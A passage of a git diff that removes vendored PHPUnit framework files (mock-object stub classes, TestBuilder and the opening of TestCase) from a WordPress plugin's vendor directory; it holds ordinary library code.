PHPUnit\Framework\MockObject\Invocation; -use SebastianBergmann\Exporter\Exporter; -use Throwable; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Exception implements Stub -{ - private $exception; - - public function __construct(Throwable $exception) - { - $this->exception = $exception; - } - - /** - * @throws Throwable - */ - public function invoke(Invocation $invocation): void - { - throw $this->exception; - } - - public function toString(): string - { - $exporter = new Exporter; - - return sprintf( - 'raise user-specified exception %s', - $exporter->export($this->exception), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnArgument.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnArgument.php deleted file mode 100644 index c7b3f8f4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnArgument.php +++ /dev/null @@ -1,41 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Stub; - -use function sprintf; -use PHPUnit\Framework\MockObject\Invocation; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ReturnArgument implements Stub -{ - /** - * @var int - */ - private $argumentIndex; - - public function __construct($argumentIndex) - { - $this->argumentIndex = $argumentIndex; - } - - public function invoke(Invocation $invocation) - { - if (isset($invocation->getParameters()[$this->argumentIndex])) { - return $invocation->getParameters()[$this->argumentIndex]; - } - } - - public function toString(): string - { - return sprintf('return argument #%d', $this->argumentIndex); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnCallback.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnCallback.php deleted file mode 100644 index 0f24aafc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnCallback.php +++ /dev/null @@ -1,59 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Stub; - -use function call_user_func_array; -use function get_class; -use function is_array; -use function is_object; -use function sprintf; -use PHPUnit\Framework\MockObject\Invocation; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ReturnCallback implements Stub -{ - private $callback; - - public function __construct($callback) - { - $this->callback = $callback; - } - - public function invoke(Invocation $invocation) - { - return call_user_func_array($this->callback, $invocation->getParameters()); - } - - public function toString(): string - { - if (is_array($this->callback)) { - if (is_object($this->callback[0])) { - $class = get_class($this->callback[0]); - $type = '->'; - } else { - $class = $this->callback[0]; - $type = '::'; - } - - return sprintf( - 'return result of user defined callback %s%s%s() with the ' . - 'passed arguments', - $class, - $type, - $this->callback[1], - ); - } - - return 'return result of user defined callback ' . $this->callback . - ' with the passed arguments'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnReference.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnReference.php deleted file mode 100644 index ea2bb735..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnReference.php +++ /dev/null @@ -1,45 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Stub; - -use function sprintf; -use PHPUnit\Framework\MockObject\Invocation; -use SebastianBergmann\Exporter\Exporter; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ReturnReference implements Stub -{ - /** - * @var mixed - */ - private $reference; - - public function __construct(&$reference) - { - $this->reference = &$reference; - } - - public function invoke(Invocation $invocation) - { - return $this->reference; - } - - public function toString(): string - { - $exporter = new Exporter; - - return sprintf( - 'return user-specified reference %s', - $exporter->export($this->reference), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnSelf.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnSelf.php deleted file mode 100644 index 6d2137bf..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnSelf.php +++ /dev/null @@ -1,32 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Stub; - -use PHPUnit\Framework\MockObject\Invocation; -use PHPUnit\Framework\MockObject\RuntimeException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ReturnSelf implements Stub -{ - /** - * @throws RuntimeException - */ - public function invoke(Invocation $invocation) - { - return $invocation->getObject(); - } - - public function toString(): string - { - return 'return the current object'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnStub.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnStub.php deleted file mode 100644 index 4ecbc3b9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnStub.php +++ /dev/null @@ -1,45 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Stub; - -use function sprintf; -use PHPUnit\Framework\MockObject\Invocation; -use SebastianBergmann\Exporter\Exporter; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ReturnStub implements Stub -{ - /** - * @var mixed - */ - private $value; - - public function __construct($value) - { - $this->value = $value; - } - - public function invoke(Invocation $invocation) - { - return $this->value; - } - - public function toString(): string - { - $exporter = new Exporter; - - return sprintf( - 'return user-specified value %s', - $exporter->export($this->value), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnValueMap.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnValueMap.php deleted file mode 100644 index 5fcd3a09..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnValueMap.php +++ /dev/null @@ -1,53 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Stub; - -use function array_pop; -use function count; -use function is_array; -use PHPUnit\Framework\MockObject\Invocation; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class ReturnValueMap implements Stub -{ - /** - * @var array - */ - private $valueMap; - - public function __construct(array $valueMap) - { - $this->valueMap = $valueMap; - } - - public function invoke(Invocation $invocation) - { - $parameterCount = count($invocation->getParameters()); - - foreach ($this->valueMap as $map) { - if (!is_array($map) || $parameterCount !== (count($map) - 1)) { - continue; - } - - $return = array_pop($map); - - if ($invocation->getParameters() === $map) { - return $return; - } - } - } - - public function toString(): string - { - return 'return value from a map'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/Stub.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/Stub.php deleted file mode 100644 index 15cfce5c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Stub/Stub.php +++ /dev/null @@ -1,27 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject\Stub; - -use PHPUnit\Framework\MockObject\Invocation; -use PHPUnit\Framework\SelfDescribing; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -interface Stub extends SelfDescribing -{ - /** - * Fakes the processing of the invocation $invocation by returning a - * specific value. - * - * @param Invocation $invocation The invocation which was mocked and matched by the current method and argument matchers - */ - public function invoke(Invocation $invocation); -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Verifiable.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Verifiable.php deleted file mode 100644 index 8c9a82c5..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/MockObject/Verifiable.php +++ /dev/null @@ -1,26 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework\MockObject; - -use PHPUnit\Framework\ExpectationFailedException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -interface Verifiable -{ - /** - * Verifies that the current expectation is valid. If everything is OK the - * code should just return, if not it must throw an exception. - * - * @throws ExpectationFailedException - */ - public function verify(): void; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Reorderable.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Reorderable.php deleted file mode 100644 index 34951f8d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Reorderable.php +++ /dev/null @@ -1,28 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -interface Reorderable -{ - public function sortId(): string; - - /** - * @return list - */ - public function provides(): array; - - /** - * @return list - */ - public function requires(): array; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/SelfDescribing.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/SelfDescribing.php deleted file mode 100644 index 73034f65..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/SelfDescribing.php +++ /dev/null @@ -1,21 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -interface SelfDescribing -{ - /** - * Returns a string representation of the object. - */ - public function toString(): string; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/SkippedTest.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/SkippedTest.php deleted file mode 100644 index a12aa402..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/SkippedTest.php +++ /dev/null @@ -1,19 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use Throwable; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -interface SkippedTest extends Throwable -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/SkippedTestCase.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/SkippedTestCase.php deleted file mode 100644 index 49d73759..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/SkippedTestCase.php +++ /dev/null @@ -1,68 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use SebastianBergmann\RecursionContext\InvalidArgumentException; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class SkippedTestCase extends TestCase -{ - /** - * @var ?bool - */ - protected $backupGlobals = false; - - /** - * @var ?bool - */ - protected $backupStaticAttributes = false; - - /** - * @var ?bool - */ - protected $runTestInSeparateProcess = false; - - /** - * @var string - */ - private $message; - - public function __construct(string $className, string $methodName, string $message = '') - { - parent::__construct($className . '::' . $methodName); - - $this->message = $message; - } - - public function getMessage(): string - { - return $this->message; - } - - /** - * Returns a string representation of the test case. - * - * @throws InvalidArgumentException - */ - public function toString(): string - { - return $this->getName(); - } - - /** - * @throws Exception - */ - protected function runTest(): void - { - $this->markTestSkipped($this->message); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Test.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Test.php deleted file mode 100644 index 2f218ad9..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/Test.php +++ /dev/null @@ -1,23 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use Countable; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -interface Test extends Countable -{ - /** - * Runs a test and collects its result in a TestResult instance. - */ - public function run(?TestResult $result = null): TestResult; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestBuilder.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestBuilder.php deleted file mode 100644 index 77404df0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestBuilder.php +++ /dev/null @@ -1,239 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use function assert; -use function count; -use function get_class; -use function sprintf; -use function trim; -use PHPUnit\Util\Filter; -use PHPUnit\Util\InvalidDataSetException; -use PHPUnit\Util\Test as TestUtil; -use ReflectionClass; -use Throwable; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class TestBuilder -{ - public function build(ReflectionClass $theClass, string $methodName): Test - { - $className = $theClass->getName(); - - if (!$theClass->isInstantiable()) { - return new ErrorTestCase( - sprintf('Cannot instantiate class "%s".', $className), - ); - } - - $backupSettings = TestUtil::getBackupSettings( - $className, - $methodName, - ); - - $preserveGlobalState = TestUtil::getPreserveGlobalStateSettings( - $className, - $methodName, - ); - - $runTestInSeparateProcess = TestUtil::getProcessIsolationSettings( - $className, - $methodName, - ); - - $runClassInSeparateProcess = TestUtil::getClassProcessIsolationSettings( - $className, - $methodName, - ); - - $constructor = $theClass->getConstructor(); - - if ($constructor === null) { - throw new Exception('No valid test provided.'); - } - - $parameters = $constructor->getParameters(); - - // TestCase() or TestCase($name) - if (count($parameters) < 2) { - $test = $this->buildTestWithoutData($className); - } // TestCase($name, $data) - else { - try { - $data = TestUtil::getProvidedData( - $className, - $methodName, - ); - } catch (IncompleteTestError $e) { - $message = sprintf( - "Test for %s::%s marked incomplete by data provider\n%s", - $className, - $methodName, - $this->throwableToString($e), - ); - - $data = new IncompleteTestCase($className, $methodName, $message); - } catch (SkippedTestError $e) { - $message = sprintf( - "Test for %s::%s skipped by data provider\n%s", - $className, - $methodName, - $this->throwableToString($e), - ); - - $data = new SkippedTestCase($className, $methodName, $message); - } catch (Throwable $t) { - $message = sprintf( - "The data provider specified for %s::%s is invalid.\n%s", - $className, - $methodName, - $this->throwableToString($t), - ); - - $data = new ErrorTestCase($message); - } - - // Test method with @dataProvider. - if (isset($data)) { - $test = $this->buildDataProviderTestSuite( - $methodName, - $className, - $data, - $runTestInSeparateProcess, - $preserveGlobalState, - $runClassInSeparateProcess, - $backupSettings, - ); - } else { - $test = $this->buildTestWithoutData($className); - } - } - - if ($test instanceof TestCase) { - $test->setName($methodName); - $this->configureTestCase( - $test, - $runTestInSeparateProcess, - $preserveGlobalState, - $runClassInSeparateProcess, - $backupSettings, - ); - } - - return $test; - } - - /** @psalm-param class-string $className */ - private function buildTestWithoutData(string $className) - { - return new $className; - } - - /** @psalm-param class-string $className */ - private function buildDataProviderTestSuite( - string $methodName, - string $className, - $data, - bool $runTestInSeparateProcess, - ?bool $preserveGlobalState, - bool $runClassInSeparateProcess, - array $backupSettings - ): DataProviderTestSuite { - $dataProviderTestSuite = new DataProviderTestSuite( - $className . '::' . $methodName, - ); - - $groups = TestUtil::getGroups($className, $methodName); - - if ($data instanceof ErrorTestCase || - $data instanceof SkippedTestCase || - $data instanceof IncompleteTestCase) { - $dataProviderTestSuite->addTest($data, $groups); - } else { - foreach ($data as $_dataName => $_data) { - $_test = new $className($methodName, $_data, $_dataName); - - assert($_test instanceof TestCase); - - $this->configureTestCase( - $_test, - $runTestInSeparateProcess, - $preserveGlobalState, - $runClassInSeparateProcess, - $backupSettings, - ); - - $dataProviderTestSuite->addTest($_test, $groups); - } - } - - return $dataProviderTestSuite; - } - - private function configureTestCase( - TestCase $test, - bool $runTestInSeparateProcess, - ?bool $preserveGlobalState, - bool $runClassInSeparateProcess, - array $backupSettings - ): void { - if ($runTestInSeparateProcess) { - $test->setRunTestInSeparateProcess(true); - - if ($preserveGlobalState !== null) { - $test->setPreserveGlobalState($preserveGlobalState); - } - } - - if ($runClassInSeparateProcess) { - $test->setRunClassInSeparateProcess(true); - - if ($preserveGlobalState !== null) { - $test->setPreserveGlobalState($preserveGlobalState); - } - } - - if ($backupSettings['backupGlobals'] !== null) { - $test->setBackupGlobals($backupSettings['backupGlobals']); - } - - if ($backupSettings['backupStaticAttributes'] !== null) { - $test->setBackupStaticAttributes( - $backupSettings['backupStaticAttributes'], - ); - } - } - - private function throwableToString(Throwable $t): string - { - $message = $t->getMessage(); - - if (empty(trim($message))) { - $message = ''; - } - - if ($t instanceof InvalidDataSetException) { - return sprintf( - "%s\n%s", - $message, - Filter::getFilteredStacktrace($t), - ); - } - - return sprintf( - "%s: %s\n%s", - get_class($t), - $message, - Filter::getFilteredStacktrace($t), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestCase.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestCase.php deleted file mode 100644 index 30dd5b95..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/Framework/TestCase.php +++ /dev/null @@ -1,2678 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\Framework; - -use const LC_ALL; -use const LC_COLLATE; -use const LC_CTYPE; -use const LC_MONETARY; -use const LC_NUMERIC; -use const LC_TIME; -use const PATHINFO_FILENAME; -use const PHP_EOL; -use const PHP_URL_PATH; -use function array_filter; -use function array_flip; -use function array_keys; -use function array_merge; -use function array_pop; -use function array_search; -use function array_unique; -use function array_values; -use function basename; -use function call_user_func; -use function chdir; -use function class_exists; -use function clearstatcache; -use function count; -use function debug_backtrace; -use function defined; -use function explode; -use function get_class; -use function get_include_path; -use function getcwd; -use function implode; -use function in_array; -use function ini_set; -use function is_array; -use function is_callable; -use function is_int; -use function is_object; -use function is_string; -use function libxml_clear_errors; -use function method_exists; -use function ob_end_clean; -use function ob_get_contents; -use function ob_get_level; -use function ob_start; -use function parse_url; -use function pathinfo; -use function preg_replace; -use function serialize; -use function setlocale; -use function sprintf; -use function strpos; -use function substr; -use function sys_get_temp_dir; -use function tempnam; -use function trim; -use function var_export; -use DeepCopy\DeepCopy; -use PHPUnit\Framework\Constraint\Exception as ExceptionConstraint; -use PHPUnit\Framework\Constraint\ExceptionCode; -use PHPUnit\Framework\Constraint\ExceptionMessage; -use PHPUnit\Framework\Constraint\ExceptionMessageRegularExpression; -use PHPUnit\Framework\Constraint\LogicalOr; -use PHPUnit\Framework\Error\Deprecated; -use PHPUnit\Framework\Error\Error; -use PHPUnit\Framework\Error\Notice; -use PHPUnit\Framework\Error\Warning as WarningError; -use PHPUnit\Framework\MockObject\Generator as MockGenerator; -use PHPUnit\Framework\MockObject\MockBuilder; -use PHPUnit\Framework\MockObject\MockObject; -use PHPUnit\Framework\MockObject\Rule\AnyInvokedCount as AnyInvokedCountMatcher; -use PHPUnit\Framework\MockObject\Rule\InvokedAtIndex as InvokedAtIndexMatcher; -use PHPUnit\Framework\MockObject\Rule\InvokedAtLeastCount as InvokedAtLeastCountMatcher; -use PHPUnit\Framework\MockObject\Rule\InvokedAtLeastOnce as InvokedAtLeastOnceMatcher; -use PHPUnit\Framework\MockObject\Rule\InvokedAtMostCount as InvokedAtMostCountMatcher; -use PHPUnit\Framework\MockObject\Rule\InvokedCount as InvokedCountMatcher; -use PHPUnit\Framework\MockObject\Stub; -use PHPUnit\Framework\MockObject\Stub\ConsecutiveCalls as ConsecutiveCallsStub; -use PHPUnit\Framework\MockObject\Stub\Exception as ExceptionStub; -use PHPUnit\Framework\MockObject\Stub\ReturnArgument as ReturnArgumentStub; -use PHPUnit\Framework\MockObject\Stub\ReturnCallback as ReturnCallbackStub; -use PHPUnit\Framework\MockObject\Stub\ReturnSelf as ReturnSelfStub; -use PHPUnit\Framework\MockObject\Stub\ReturnStub; -use PHPUnit\Framework\MockObject\Stub\ReturnValueMap as ReturnValueMapStub; -use PHPUnit\Runner\BaseTestRunner; -use PHPUnit\Runner\PhptTestCase; -use PHPUnit\Util\Cloner; -use PHPUnit\Util\Exception as UtilException; -use PHPUnit\Util\GlobalState; -use PHPUnit\Util\PHP\AbstractPhpProcess; -use PHPUnit\Util\Test as TestUtil; -use Prophecy\Exception\Doubler\ClassNotFoundException; -use Prophecy\Exception\Doubler\DoubleException; -use Prophecy\Exception\Doubler\InterfaceNotFoundException; -use Prophecy\Exception\Prediction\PredictionException; -use Prophecy\Prophecy\MethodProphecy; -use Prophecy\Prophecy\ObjectProphecy; -use Prophecy\Prophet; -use ReflectionClass; -use ReflectionException; -use SebastianBergmann\CodeCoverage\UnintentionallyCoveredCodeException; -use SebastianBergmann\Comparator\Comparator; -use SebastianBergmann\Comparator\Factory as ComparatorFactory; -use SebastianBergmann\Diff\Differ; -use SebastianBergmann\Exporter\Exporter; -use SebastianBergmann\GlobalState\ExcludeList; -use SebastianBergmann\GlobalState\Restorer; -use SebastianBergmann\GlobalState\Snapshot; -use SebastianBergmann\ObjectEnumerator\Enumerator; -use SebastianBergmann\RecursionContext\InvalidArgumentException; -use SebastianBergmann\Template\Template; -use SoapClient; -use Throwable; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -abstract class TestCase extends Assert implements Reorderable, SelfDescribing, Test -{ - private const LOCALE_CATEGORIES = [LC_ALL, LC_COLLATE, LC_CTYPE, LC_MONETARY, LC_NUMERIC, LC_TIME]; - - /** - * @var ?bool - */ - protected $backupGlobals; - - /** - * @var string[] - */ - protected $backupGlobalsExcludeList = []; - - /** - * @var string[] - * - * @deprecated Use $backupGlobalsExcludeList instead - */ - protected $backupGlobalsBlacklist = []; - - /** - * @var ?bool - */ - protected $backupStaticAttributes; - - /** - * @var array> - */ - protected $backupStaticAttributesExcludeList = []; - - /** - * @var array> - * - * @deprecated Use $backupStaticAttributesExcludeList instead - */ - protected $backupStaticAttributesBlacklist = []; - - /** - * @var ?bool - */ - protected $runTestInSeparateProcess; - - /** - * @var bool - */ - protected $preserveGlobalState = true; - - /** - * @var list - */ - protected $providedTests = []; - - /** - * @var ?bool - */ - private $runClassInSeparateProcess; - - /** - * @var bool - */ - private $inIsolation = false; - - /** - * @var array - */ - private $data; - - /** - * @var int|string - */ - private $dataName; - - /** - * @var null|string - */ - private $expectedException; - - /** - * @var null|string - */ - private $expectedExceptionMessage; - - /** - * @var null|string - */ - private $expectedExceptionMessageRegExp; - - /** - * @var null|int|string - */ - private $expectedExceptionCode; - - /** - * @var string - */ - private $name = ''; - - /** - * @var list - */ - private $dependencies = []; - - /** - * @var array - */ - private $dependencyInput = []; - - /** - * @var array - */ - private $iniSettings = []; - - /** - * @var array - */ - private $locale = []; - - /** - * @var MockObject[] - */ - private $mockObjects = []; - - /** - * @var MockGenerator - */ - private $mockObjectGenerator; - - /** - * @var int - */ - private $status = BaseTestRunner::STATUS_UNKNOWN; - - /** - * @var string - */ - private $statusMessage = ''; - - /** - * @var int - */ - private $numAssertions = 0; - - /** - * @var TestResult - */ - private $result; - - /** - * @var mixed - */ - private $testResult; - - /** - * @var string - */ - private $output = ''; - - /** - * @var ?string - */ - private $outputExpectedRegex; - - /** - * @var ?string - */ - private $outputExpectedString; - - /** - * @var mixed - */ - private $outputCallback = false; - - /** - * @var bool - */ - private $outputBufferingActive = false; - - /** - * @var int - */ - private $outputBufferingLevel; - - /** - * @var bool - */ - private $outputRetrievedForAssertion = false; - - /** - * @var ?Snapshot - */ - private $snapshot; - - /** - * @var Prophet - */ - private $prophet; - - /** - * @var bool - */ - private $beStrictAboutChangesToGlobalState = false; - - /** - * @var bool - */ - private $registerMockObjectsFromTestArgumentsRecursively = false; - - /** - * @var string[] - */ - private $warnings = []; - - /** - * @var string[] - */ - private $groups = []; - - /** - * @var bool - */ - private $doesNotPerformAssertions = false; - - /** - * @var Comparator[] - */ - private $customComparators = []; - - /** - * @var string[] - */ - private $doubledTypes = []; - - /** - * Returns a matcher that matches when the method is executed - * zero or more times. - */ - public static function any(): AnyInvokedCountMatcher - { - return new AnyInvokedCountMatcher; - } - - /** - * Returns a matcher that matches when the method is never executed. - */ - public static function never(): InvokedCountMatcher - { - return new InvokedCountMatcher(0); - } - - /** - * Returns a matcher that matches when the method is executed - * at least N times. - */ - public static function atLeast(int $requiredInvocations): InvokedAtLeastCountMatcher - { - return new InvokedAtLeastCountMatcher( - $requiredInvocations, - ); - } - - /** - * Returns a matcher that matches when the method is executed at least once. - */ - public static function atLeastOnce(): InvokedAtLeastOnceMatcher - { - return new InvokedAtLeastOnceMatcher; - } - - /** - * Returns a matcher that matches when the method is executed exactly once. - */ - public static function once(): InvokedCountMatcher - { - return new InvokedCountMatcher(1); - } - - /** - * Returns a matcher that matches when the method is executed - * exactly $count times. - */ - public static function exactly(int $count): InvokedCountMatcher - { - return new InvokedCountMatcher($count); - } - - /** - * Returns a matcher that matches when the method is executed - * at most N times. - */ - public static function atMost(int $allowedInvocations): InvokedAtMostCountMatcher - { - return new InvokedAtMostCountMatcher($allowedInvocations); - } - - /** - * Returns a matcher that matches when the method is executed - * at the given index. - * - * @deprecated https://github.com/sebastianbergmann/phpunit/issues/4297 - * - * @codeCoverageIgnore - */ - public static function at(int $index): InvokedAtIndexMatcher - { - $stack = debug_backtrace(); - - while (!empty($stack)) { - $frame = array_pop($stack); - - if (isset($frame['object']) && $frame['object'] instanceof self) { - $frame['object']->addWarning( - 'The at() matcher has been deprecated. It will be removed in PHPUnit 10. Please refactor your test to not rely on the order in which methods are invoked.', - ); - - break; - } - } - - return new InvokedAtIndexMatcher($index); - } - - public static function returnValue($value): ReturnStub - { - return new ReturnStub($value); - } - - public static function returnValueMap(array $valueMap): ReturnValueMapStub - { - return new ReturnValueMapStub($valueMap); - } - - public static function returnArgument(int $argumentIndex): ReturnArgumentStub - { - return new ReturnArgumentStub($argumentIndex); - } - - public static function returnCallback($callback): ReturnCallbackStub - { - return new ReturnCallbackStub($callback); - } - - /** - * Returns the current object. - * - * This method is useful when mocking a fluent interface. - */ - public static function returnSelf(): ReturnSelfStub - { - return new ReturnSelfStub; - } - - public static function throwException(Throwable $exception): ExceptionStub - { - return new ExceptionStub($exception); - } - - public static function onConsecutiveCalls(...$args): ConsecutiveCallsStub - { - return new ConsecutiveCallsStub($args); - } - - /** - * @param int|string $dataName - * - * @internal This method is not covered by the backward compatibility promise for PHPUnit - */ - public function __construct(?string $name = null, array $data = [], $dataName = '') - { - if ($name !== null) { - $this->setName($name); - } - - $this->data = $data; - $this->dataName = $dataName; - } - - /** - * This method is called before the first test of this test class is run. - */ - public static function setUpBeforeClass(): void - { - } - - /** - * This method is called after the last test of this test class is run. - */ - public static function tearDownAfterClass(): void - { - } - - /** - * This method is called before each test. - */ - protected function setUp(): void - { - } - - /** - * Performs assertions shared by all tests of a test case. - * - * This method is called between setUp() and test. - */ - protected function assertPreConditions(): void - { - } - - /** - * Performs assertions shared by all tests of a test case. - * - * This method is called between test and tearDown(). - */ - protected function assertPostConditions(): void - { - } - - /** - * This method is called after each test. - */ - protected function tearDown(): void - { - } - - /** - * Returns a string representation of the test case. - * - * @throws Exception - * @throws InvalidArgumentException - */ - public function toString(): string - { - try { - $class = new ReflectionClass($this); - // @codeCoverageIgnoreStart - } catch (ReflectionException $e) { - throw new Exception( - $e->getMessage(), - $e->getCode(), - $e, - ); - } - // @codeCoverageIgnoreEnd - - $buffer = sprintf( - '%s::%s', - $class->name, - $this->getName(false), - ); - - return $buffer . $this->getDataSetAsString(); - } - - public function count(): int - { - return 1; - } - - public function getActualOutputForAssertion(): string - { - $this->outputRetrievedForAssertion = true; - - return $this->getActualOutput(); - } - - public function expectOutputRegex(string $expectedRegex): void - { - $this->outputExpectedRegex = $expectedRegex; - } - - public function expectOutputString(string $expectedString): void - { - $this->outputExpectedString = $expectedString; - } - - /** - * @psalm-param class-string 